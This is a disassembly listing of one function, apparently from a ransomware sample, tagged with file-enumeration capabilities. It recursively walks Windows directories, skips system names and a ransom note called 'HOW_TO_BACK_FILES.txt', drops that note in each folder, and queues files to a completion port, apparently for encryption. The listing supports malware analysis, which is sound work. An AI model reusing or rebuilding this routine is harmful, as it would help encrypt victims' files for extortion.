Function at 0x1400080a0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbx
push rbp
push r12
push r13
push r14
sub rsp, 0x2b0
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ebx, r9d
mov r12d, r8d
movzx r13d, dx
mov dword [rsp + 0x30], ebx
mov r8d, 4
lea rdx, str.._
mov r14, rcx
call qword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
lea rcx, [r14 + 8]
cmovne rcx, r14
movzx eax, word [rcx]
mov dword [rsp + 0x34], eax
cmp r13w, 0x31
je 0x140008107
mov eax, 0x30
mov dword [rsp + 0x34], eax
mov ecx, 0x2000
call fcn.140034a9c
mov rbp, rax
test rax, rax
je 0x14000840c
mov qword [rsp + 0x2a8], rdi
lea r8, str._s
mov r9, r14
mov qword [rsp + 0x2a0], r15
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [0x140074cb4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400081a9
mov rcx, r14
call fcn.140023c50
mov eax, dword [0x140074cb4]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], eax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400083f4
mov qword [rsp + 0x2f8], rsi
lea rsi, [0x140000000]
nop dword [rax + rax]
lea rdx, [0x140069094]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1400083a1
lea rdx, [0x140069098]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1400083a1
lea rax, [rsp + 0x6c]
mov r9, r14
lea r8, [0x140069180]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test byte [rsp + 0x40], 0x10
je 0x14000826e
test ebx, ebx
jne 0x14000826e
movzx ebx, di
nop dword [rax]
nop dword [rax + rax]
movzx edx, bx
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x5f7f0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000839d
inc bx
cmp bx, 0x28
jb 0x140008230
xor r9d, r9d
mov r8d, r12d
movzx edx, r13w
mov rcx, rbp
call fcn.1400080a0
jmp 0x14000839d
lea rdx, [0x140077460]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400083a1
lea rdx, str.HOW_TO_BACK_FILES.txt
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400083a1
test byte [rsp + 0x40], 0xa7
je 0x1400083a1
nop dword [rax]
movzx eax, di
lea rcx, [rsp + 0x6c]
lea rbx, [rax*8 + 0x60650]
add rbx, rsi
mov rdx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x1400082f0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, ebx
je 0x140008394
inc di
lea rsi, [0x140000000]
cmp di, 0x34
jb 0x1400082b0
xor bl, bl
lea rsi, [0x140000000]
nop dword [rax]
movzx edx, bl
lea rcx, [rsp + 0x6c]
mov rdx, qword [rsi + rdx*8 + 0x5f930]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000839b
inc bl
cmp bl, 0xd
jb 0x140008310
test r12d, r12d
je 0x140008435
xor ebx, ebx
nop dword [rax]
movzx eax, bx
lea rcx, [rsp + 0x6c]
lea rdi, [rax*8 + 0x5f9a0]
add rdi, rsi
mov rdx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov rsi, rax
test rax, rax
je 0x140008384
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [rdi]
mov rcx, rsi
mov r8d, eax
call qword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x14000842e
inc bx
lea rsi, [0x140000000]
cmp bx, 0x1c
jb 0x140008340
lea rsi, [0x140000000]
xor edi, edi
mov ebx, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400081c0
mov rsi, qword [rsp + 0x2f8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, r14
lea r8, [0x140069180]
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rbp
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbp
call fcn.140007bb0
mov rcx, rbp
call fcn.140034a88
mov r15, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x2a8]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0x2b0
pop r14
pop r13
pop r12
pop rbp
pop rbx
ret
lea rsi, [0x140000000]
mov ecx, 0x30
call fcn.140034a9c
mov rbx, rax
test rax, rax
je 0x14000839b
mov edi, dword [rsp + 0x34]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, rbp
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140034a9c
mov qword [rbx + 0x20], rax
test rax, rax
je 0x14000849f
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x140077568]
mov r9, rbx
xor r8d, r8d
mov dword [rbx + 0x2c], 1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x1400084d2
lock inc dword [0x140077560]
lock inc dword [0x1400775dc]
jmp 0x14000839b
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400084e0
call fcn.140034a88
mov rcx, rbx
call fcn.140034a88
jmp 0x14000839b